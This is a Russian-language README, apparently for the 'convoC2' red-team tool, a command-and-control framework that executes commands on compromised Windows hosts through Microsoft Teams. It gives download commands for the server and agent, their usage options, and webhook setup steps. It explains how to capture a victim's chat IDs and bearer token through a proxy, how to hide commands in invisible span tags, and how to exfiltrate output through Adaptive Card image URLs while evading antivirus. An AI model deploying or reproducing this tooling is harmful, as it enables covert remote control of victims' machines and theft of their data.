
Инфраструктура C2 через Microsoft Teams.
Инфраструктура командования и управления (C2), которая позволяет Red Team-специалистам выполнять системные команды на скомпрометированных хостах через Microsoft Teams.
Она внедряет данные в скрытые теги span в сообщениях Microsoft Teams и эксфильтрует вывод команд через URL-адреса изображений в Adaptive Cards, инициируя исходящие запросы (out-of-band) к C2-серверу.
Отсутствие прямого взаимодействия между жертвой и атакующим в сочетании с тем, что жертва отправляет HTTP-запросы только на серверы Microsoft, а антивирусы не проверяют лог-файлы MS Teams, затрудняет обнаружение.

Следующее видео демонстрирует использование сервера для управления двумя скомпрометированными хостами: один работает под управлением нового Teams на Windows 11, другой — под управлением старого Teams на Windows 10. В первом случае атакующий не находится в той же организации, что и жертва.
https://github.com/user-attachments/assets/d9fcccc1-de73-49cd-aaa7-df53303dbc6a
Примечание: В первом случае жертва уже приняла чат с внешним атакующим, но в реальном сценарии, когда атакующий впервые начинает чат с жертвой, жертве потребовалось бы подтвердить чат с атакующим (хотя это предупреждающее сообщение можно легко обойти, см. здесь). Это не проблема: поскольку сообщения в любом случае кэшируются в лог-файле, команды принимаются и выполняются, даже если жертва ещё не просмотрела или не приняла чат.
Сервер
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_server_amd64.tar.gz
tar -xzvf convoC2_server_amd64.tar.gz --one-top-level
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
Usage of convoC2 server:
-t, --msgTimeout How much to wait for command output (default 30 s)
-b, --bindIp Bind IP address (default 0.0.0.0)
Агент
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_agent.tar.gz
tar -xzvf convoC2_agent.tar.gz --one-top-level
C:\Windows>convoC2_agent.exe -h
Usage of convoC2 agent:
-v, --verbose Verbose logging (default false)
-s, --server C2 server URL (i.e. http://10.11.12.13/)
-t, --timeout Teams log file polling timeout [s] (default 1)
-w, --webhook Teams Webhook POST URL
-r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")
Чтобы всё заработало, вам потребуется настроить несколько вещей:

https://teams.microsoft.com/api/chatsvc/emea/v1/threads с уникальными идентификаторами жертвы и атакующего в теле запроса. В ответе threadId будет возвращён в пути URL заголовка Location.
Bearer-токен того же запроса используется для аутентификации в https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages, который является эндпоинтом для отправки сообщений. Таким образом, нам нужно всего лишь получить эти три вещи, а остальное сервер сделает сам.После запуска сервера вы можете принимать новых агентов и управлять ими, используя ранее полученные данные для аутентификации. Пример использования смотрите в демо.
Прежде всего, вам нужно создать канал Teams.

Щёлкните правой кнопкой мыши по трём точкам, затем нажмите «Workflows».

В строке поиска введите «Webhook» и нажмите «Post to a channel when a webhook request is received».

Продолжите с настройками по умолчанию и в конце скопируйте url.

Начните с поиска жертвы.

После выбора учётной записи жертвы, при перехвате запросов веб-прокси, вы можете отправить тестовое сообщение.

Сохраните два идентификатора, присутствующих в запросе api/chatsvc/emea/v1/threads, затем DROP-ните запрос. Auth-токеном будет Bearer-токен того же запроса.

Эта инфраструктура была вдохновлена исследованием Teams GIFShell, проведённым Bobbyrsec.
Изначально моей целью было воспроизвести эту проблему, но решение оказалось частично исправленным. Исследование заключалось во внедрении команд в GIF-файлы, закодированные в Base64, но они больше не отображались корректно: вместо них в чате появлялась иконка повреждённого изображения, из-за чего жертва потенциально могла начать подозревать неладное.
После тестирования различных методов я заметил, что можно внедрять команды непосредственно в сообщения, а не в GIF-файлы или изображения: отправка нескольких изображений с большей вероятностью вызовет подозрение по сравнению с отправкой простых сообщений, верно?
Изначально я рассматривал внедрение команд в теги вроде <script>, <meta> или пользовательские теги, но все они отфильтровывались. В конце концов, внедрение команд в атрибут aria-label тегов <span> с display:none увенчалось успехом: жертва видела только сообщение, но скрытая команда фактически отравляла лог-файл Teams.